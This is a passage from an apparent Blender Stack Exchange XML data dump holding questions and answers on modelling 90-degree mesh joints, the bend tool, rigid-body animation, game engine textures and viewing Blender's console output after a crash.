  <row Id="21761" PostTypeId="1" CreationDate="2015-01-05T07:02:45.543" Score="5" ViewCount="1242" Body="&lt;p&gt;I often want to create joints like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cYJox.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I end up making these more than a little, I'd like a fast way to do it (i.e. on the order of &amp;lt; 10 seconds)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found a couple tools which come close to being the ideal solution, but I've had some problems with them as listed below:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;When using the spin tool I usually end up having to fiddle with the location for a while in order to to get a natural curve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wYAFx.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any techniques to expedite this process of fiddling?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The bridge tool is nice because I can precisely specify where both ends of the joint will be, however I often end up with subtly uneven joints, probably due to my initial mesh being not quite square.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kKFN6.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a fast way to correctly line up the initial edge loops in a way that will result in an even joint?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-01-05T08:14:30.067" LastActivityDate="2020-10-20T15:39:23.777" Title="What is the fastest way to create a 90° joint?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21762" PostTypeId="2" ParentId="21761" CreationDate="2015-01-05T07:10:18.963" Score="4" Body="&lt;p&gt;a curve with a bezer circle as bevel object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kccfO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pQ6ue.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-01-05T07:10:18.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21763" PostTypeId="1" AcceptedAnswerId="21766" CreationDate="2015-01-05T07:28:21.500" Score="5" ViewCount="2260" Body="&lt;p&gt;How does the bend tool (&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;W&lt;/kbd&gt;) work? I couldn't find any mention of it in the wiki or in the &lt;a href=&quot;http://www.blender.org/manual/modeling/meshes/editing/deforming.html&quot; rel=&quot;noreferrer&quot;&gt;new documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tried to use it, I failed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nSAsD.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to use 3D cursor position, as well as the angle and distance from the mouse cursor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do the &lt;em&gt;Radius&lt;/em&gt; and &lt;em&gt;Bend Angle&lt;/em&gt; do? How do they affect the result?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is an example use-case of this tool in action?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-01-05T08:36:22.693" Title="How does the bend tool work?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21764" PostTypeId="2" ParentId="21761" CreationDate="2015-01-05T07:59:22.193" Score="5" Body="&lt;p&gt;This is a combination with more mesh and less curve:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a cube;&lt;/li&gt;&#xA;&lt;li&gt;Bevel an side edge;&lt;/li&gt;&#xA;&lt;li&gt;Extract a path;&lt;/li&gt;&#xA;&lt;li&gt;Convert to curve by &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;, set depth and resolution.&lt;/li&gt;&#xA;&lt;li&gt;Convert it back to mesh by &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;&lt;kbd&gt;2&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J9qK9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2015-01-05T07:59:22.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21765" PostTypeId="2" ParentId="21761" CreationDate="2015-01-05T08:12:11.623" Score="11" Body="&lt;p&gt;The &lt;a href=&quot;https://docs.blender.org/manual/en/2.90/modeling/meshes/tools/spin.html#spin&quot; rel=&quot;nofollow noreferrer&quot;&gt;spin tool&lt;/a&gt; is well suited for creating joins:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/73Jjv.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l6CWL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Spin &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt; it works best (expected results) in orthographic mode. The selected parts of the mesh will be rotated around the 3D cursor. The 3D cursor should precisely set vie the properties panel &lt;kbd&gt;N&lt;/kbd&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UMECr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;The last operator settings allow to adjust the angle and steps:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uo3un.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you focus more on modelling speed than accuracy the the bend tool could also be useful: &lt;a href=&quot;https://blender.stackexchange.com/questions/21763/how-does-the-bend-tool-work&quot;&gt;How does the bend tool work?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="15924" LastEditDate="2020-10-20T15:39:23.777" LastActivityDate="2020-10-20T15:39:23.777" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21766" PostTypeId="2" ParentId="21763" CreationDate="2015-01-05T08:36:22.693" Score="4" Body="&lt;p&gt;The &lt;em&gt;Bend Tool&lt;/em&gt; rotates around the 3D cursor and bends the selected parts of a mesh toward the mouse cursor position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tool is explained in &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.72/Feature_Videos&quot; rel=&quot;nofollow noreferrer&quot;&gt;this video&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start position (white cross indicates position of mouse cursor)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EzdoO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;End position and effect:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wBUoD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For predictable results use the bend tool in the orthographic modes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start position with 3D cursor at center:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9nHsm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1i3ZB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/17905/which-tool-allows-bending-a-mesh&quot;&gt;Which tool allows bending a mesh?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2015-01-05T08:36:22.693" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21767" PostTypeId="2" ParentId="21710" CreationDate="2015-01-05T09:39:47.177" Score="8" Body="&lt;p&gt;There are two ways you could do this:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Manually animate the coil:&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Make your coil a passive rigid body and set the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/User:Sergof/GSoC2012/Documentation#Collision_Shapes&quot; rel=&quot;nofollow noreferrer&quot;&gt;collision shape&lt;/a&gt;&lt;/em&gt; to &lt;em&gt;Mesh&lt;/em&gt;. This will allow the concave coil to collide correctly with the object being pushed, however you may need to increase the number of &lt;em&gt;Steps&lt;/em&gt; in &lt;em&gt;Properties &gt; Scene &gt; Rigid body world&lt;/em&gt; to avoid glitches. I used a value of &lt;code&gt;120&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NvXRV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Animate the rotation of the coil. To do this, insert a rotation keyframe (&lt;kbd&gt;I&lt;/kbd&gt;), then on a later frame, rotate the object and insert another keyframe:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ixqio.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll notice that as I have the coil tipped 2&amp;deg; downwards, I'll want to rotate on the local Z axis. A quick way to rotate around a local axis is by using a rotation order with the axis in question first. So in this case, either &lt;code&gt;ZXY&lt;/code&gt; or &lt;code&gt;ZYX&lt;/code&gt;. See &lt;a href=&quot;https://blender.stackexchange.com/q/12211/599&quot;&gt;Why are keyframes in global coords, instead of local coords? (Blender 2.70a)&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make your package object a rigid body. I used pretty much default settings.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Result:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/SourOpenBats&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://fat.gfycat.com/SourOpenBats.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/275/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=275&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Use a &lt;em&gt;motor&lt;/em&gt; constraint:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;By using this method the coil will react to the resistance of the package dragging against the tray, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see my related answer &lt;a href=&quot;https://blender.stackexchange.com/a/2522/599&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set up the coil as in step 1 of the animated method.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a cube to act as the &quot;motor&quot; and mount point. I've rotated both the cube and the coil 92&amp;deg; so that they tilt downwards slightly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3lSVw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the coil and then the cube (so that the cube is &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Selecting#Selections_and_the_Active_Object&quot; rel=&quot;nofollow noreferrer&quot;&gt;active&lt;/a&gt;&lt;/em&gt;) and press &lt;em&gt;Connect&lt;/em&gt; in &lt;em&gt;3D view &gt; Tool Shelf (&lt;kbd&gt;T&lt;/kbd&gt;) &gt; Physics &gt; Rigid Body Tools &gt; Constraints&lt;/em&gt;, then set the constraint type to &lt;em&gt;Hinge&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IF1b8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rotate the empty created by the &lt;em&gt;Connect&lt;/em&gt; operator so that it's local Z axis is aligned with the axis around which you want the coil to rotate. In my case I've rotated it 92&amp;deg;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iKQ0g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/User:Sergof/GSoC2012/Documentation#Hinge&quot; rel=&quot;nofollow noreferrer&quot;&gt;hinge constraint&lt;/a&gt; will act as a mount, holding the coil in place but allowing it to rotate around a single axis (defined by the local Z of the empty).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Again select the coil and the cube (with the cube active), and press &lt;em&gt;connect&lt;/em&gt;. This time set the constraint type to &lt;em&gt;motor&lt;/em&gt; to add a &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/User:Sergof/GSoC2012/Documentation#Motor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Motor constraint&lt;/a&gt;&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N0yAW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the new empty created by the connect operator and enable &lt;em&gt;Angular Motor&lt;/em&gt; in &lt;em&gt;Properties &gt; Constraints&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gr2X0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adjust the &lt;em&gt;Target velocity&lt;/em&gt; to control the speed of the coil rotation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also note that I've rotated the motor empty 2&amp;deg; so that it's local X is aligned with the same axis as the hinge's local Z (for some reason the motor constraint rotates around the empties local X, while the hinge uses the local Z)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Optionally hide the cube.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Result:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/HoarsePleasantAtlanticsharpnosepuffer&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://fat.gfycat.com/HoarsePleasantAtlanticsharpnosepuffer.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/277/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=277&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2015-06-16T01:47:59.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21768" PostTypeId="2" ParentId="15738" CreationDate="2015-01-05T11:51:56.083" Score="2" Body="&lt;p&gt;This is not possible in the current implementation of Freestyle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/freestyle/introduction.html#known-limitations&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender 2.79, Freestyle Known Limitations&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Transparent faces are treated as opaque faces.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/15738/select-freestyle-strokes-behind-objects-using-alpha-transparency?noredirect=1#comment22172_15738&quot;&gt;@gandalf3 / Blender 2.6&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5979" LastEditorUserId="5979" LastEditDate="2018-08-02T12:17:35.937" LastActivityDate="2018-08-02T12:17:35.937" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21769" PostTypeId="1" AcceptedAnswerId="21796" CreationDate="2015-01-05T13:03:57.533" Score="19" ViewCount="6223" Body="&lt;p&gt;I'm getting into blender and am at the point now where I can model simple objects and do some rigging without too much trouble.  Now I'm trying to figure out the best strategy to model an entire apartment, but am finding it much more difficult than just modeling a single object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, the walls and ceiling are making it very difficult for me to look into my apartment.  I can hide them, but it's hard arranging the furniture with them missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to create the furniture?  I'm modeling the couch, chairs, potted plants and similar things in the same file so far, but having so many overlapping objects makes the editing difficult.  Should I put these in separate files and reference them in?  Should I move them to separate layers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any good general tips for modeling rooms?&lt;/p&gt;&#xA;" OwnerUserId="9732" LastActivityDate="2015-02-10T21:35:59.657" Title="What's a good strategy for designing a room with multiple objects in it?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="21770" PostTypeId="1" CreationDate="2015-01-05T13:05:22.750" Score="3" ViewCount="958" Body="&lt;p&gt;Blender has an option to make a material shadeless. If you make a game and want a lightmap from Cycles, you can remove all the lights. But, if you want a normal map or more in your game, it is impossible...The normal map can be lightened by fake lamps and spots which are at the same place as the lights in cycles are. So, if I have 2 textures on my material, one is the pre-baked texture with all the lights and is set to shadeless. The other texture on this material is a normal map, the normal map isn't set to shadeless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end result is:&#xA;You have an object that is shadeless, but with the normal map you have an object that looks like a render from Cylces, BUT it is in realtime!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to make textures shadeless?&lt;/p&gt;&#xA;" OwnerUserId="9815" LastEditorUserId="6204" LastEditDate="2015-01-05T16:14:54.193" LastActivityDate="2015-11-08T19:20:04.277" Title="Blender Game Engine - Shadeless Textures?" Tags="&lt;cycles-render-engine&gt;&lt;game-engine&gt;&lt;light&gt;&lt;texture-baking&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21771" PostTypeId="1" CreationDate="2015-01-05T13:12:01.590" Score="0" ViewCount="125" Body="&lt;p&gt;I exported my scene with a simple plane and a animated mesh into 2.73 from 2.66a and now the mesh doesn't move from the origin, it looks like if it wants to move or rotate but it remains in  the origin, or if it moves when i press another key to rotate or move, the model returns into origin. Please help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the blend file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/33673&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/33673&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps this could work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/21496/how-do-you-import-a-rigged-character-from-one-blender-file-to-another&quot;&gt;How do you import a rigged character from one blender file to another?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i am trying to clear parent between armature and mesh nd rig again. Actually the walking animation was easy to reproduce and not very accurate. hmmmm&lt;/p&gt;&#xA;" OwnerUserId="9802" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-01-09T21:47:52.387" Title="my model doesn't move from the origin, or moves or rotates ONCE and then returns to the origin" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21772" PostTypeId="1" CreationDate="2015-01-05T13:46:15.287" Score="9" ViewCount="7475" Body="&lt;p&gt;I am testing a script in Blender game engine. I can view the helpful message on the external system console when the script throws exception. Sometimes the bugs of the script cause the Blender to crash and close the console immediately.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to view the message after the Blender crashes? How to write the message to a text file for later viewing? Any suggestion?&lt;/p&gt;&#xA;" OwnerUserId="9816" LastEditorUserId="9816" LastEditDate="2015-01-05T14:01:58.560" LastActivityDate="2020-03-24T23:25:37.023" Title="How to view the system console message after Blender crashes?" Tags="&lt;command-line&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21773" PostTypeId="1" AcceptedAnswerId="21786" CreationDate="2015-01-05T14:08:24.657" Score="3" ViewCount="983" Body="&lt;p&gt;Is it possible for the Blender Game Engine to hide any vertices/faces currently not visible to the camera in order to optimize game performance? This would be for parts of meshes specifically.&lt;/p&gt;&#xA;" OwnerUserId="9817" LastEditorUserId="6204" LastEditDate="2015-01-05T16:09:55.953" LastActivityDate="2020-05-03T02:14:01.627" Title="Can blender game engine hide vertices that are not visible to the camera?" Tags="&lt;game-engine&gt;&lt;optimization&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21774" PostTypeId="1" CreationDate="2015-01-05T15:31:43.043" Score="0" ViewCount="156" Body="&lt;p&gt;I'm currently creating a script that updates all of the keyframes of an object that's currently been moved. (a feature that 3Ds Max has by default)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've managed to solve all the problems that happened along the way such as &quot;when animation is playing don't udpate, otherwise animation will go funky&quot; and others, but I just can't seem to tell blender to stop updating keyframes when player is scrubbing through the timeline, me and my colleague have literally tried everything and nothing quite did the job, not even creating our own algorithm that checks for the frame change within scene_update_pre/scene_update_post because of the very nature of scene_update_post/scene_update_pre handlers :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I figured that the only way I could do this is to find something like on_gizmo_click_on and on_gizmo_click_off handlers, however I cannot seem to find anything like that in Blender. We are willing to make them ourselves even if we have to dive into the source code, however, since we're relatively new to blender I don't know where we could even draw such an information from? Do any of you have any ideas how I could go about doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would greatly appreciate any help, as this would not only help me create this script, but it would also help me create many other similar scripts for my team in the future based on this same gizmo handler. (gizmo, manipulator or whatever I should refer to it in the Blender community :D).&lt;/p&gt;&#xA;" OwnerUserId="9813" LastEditorUserId="9813" LastEditDate="2015-02-07T11:02:06.760" LastActivityDate="2015-02-07T11:02:06.760" Title="Something like on_gizmo_click_on / on_gizmo_click_off?" Tags="&lt;python&gt;&lt;keyframes&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="21775" PostTypeId="5" CreationDate="2015-01-05T16:10:06.127" Score="0" Body="&lt;p&gt;This tag is for questions asking how and/or if it is possible to optimize the performance of a specific thing. Questions like &quot;How can I make game faster?&quot; most likely would be off topic. Questions like &quot;Is it possible to hide vertices?&quot; in order to make the game perform better could be an excellent fit.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-01-05T16:37:25.933" LastActivityDate="2015-01-05T16:37:25.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21776" PostTypeId="4" CreationDate="2015-01-05T16:10:06.127" Score="0" Body="For use on questions asking how to optimize specific things. i.e. game logic, rigid body simulations, viewport performance." OwnerUserId="6204" LastEditorUserId="2217" LastEditDate="2015-01-05T16:54:58.957" LastActivityDate="2015-01-05T16:54:58.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21777" PostTypeId="1" CreationDate="2015-01-05T16:16:43.033" Score="8" ViewCount="2797" Body="&lt;p&gt;Is there a way to turn on GPU rendering without an installed CUDA driver and without a CUDA enabled graphic card?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to send the blend file on my render farm, all the slaves have NVidia CUDA cards, but I don't want to turn on my big computer just to set the blend file to GPU compute and then send it into my farm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm modelling on my Surface Pro 3 [windows 8, i5-processor] on the go [works fine by the way :3], and when I am home I dispatch the jobs to the far, but this way they only work with the GPU when I turn on my greater Computer to change it there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There doesn't have to be a way, but it would be nice if there were.&lt;/p&gt;&#xA;" OwnerUserId="9820" LastEditorUserId="72" LastEditDate="2015-04-04T22:21:25.993" LastActivityDate="2015-04-04T22:21:25.993" Title="turn on Cycles GPU render on non CUDA computers" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;&lt;network&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21778" PostTypeId="2" ParentId="21772" CreationDate="2015-01-05T16:28:36.410" Score="10" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;On windows just run blender from Command Prompt:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Win Key&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In field type &lt;em&gt;cmd&lt;/em&gt; and hit OK. Inside the console navigate to your blender.exe with command&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;cd c:\Program Files\Blender Foundation\Blender\&lt;/code&gt; (or whatever your path is)&lt;br&gt; &#xA;instead you can also navigate to the folder in the Explorer and SHIFT+Rightclick on the Folder and select &lt;code&gt;Open Comand Promt here&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then type &lt;code&gt;blender.exe&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also &lt;a href=&quot;https://www.blender.org/manual/advanced/command_line/arguments.html&quot; rel=&quot;noreferrer&quot;&gt;use command line arguments&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now even if Blender crashes, you will still see the program output in the console.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On OSX use Terminal app and run it like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd /Applications/Blender&#xA;./blender.app/Contents/MacOS/blender&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On Linux open terminal and run&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd &amp;lt;blender installation directory&amp;gt;&#xA;./blender&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can start &lt;code&gt;blender&lt;/code&gt; (or &lt;code&gt;blender.exe&lt;/code&gt;) with the option &lt;code&gt;--factory-startup&lt;/code&gt; attached to check if a addon or a setting caused the crash&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2016-08-17T06:02:29.317" LastActivityDate="2016-08-17T06:02:29.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21779" PostTypeId="2" ParentId="21772" CreationDate="2015-01-05T16:29:37.470" Score="7" Body="&lt;p&gt;Start blender from a console / cmd prompt in the first place and if it crashes, it will just return to the console and not close the console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For windows i set up a &lt;strong&gt;bat&lt;/strong&gt; file to load cmd.exe, with any of these variants:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;start C:\Windows\System32\cmd.exe /k C:\blender_trunk\blender.exe --debug-all&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;start C:\Windows\System32\cmd.exe /k C:\blender_trunk\blender.exe --debug&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;start C:\Windows\System32\cmd.exe /k C:\blender_trunk\blender.exe&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will load the cmd prompt, then blender, and depending on how much info you want you add the &lt;a 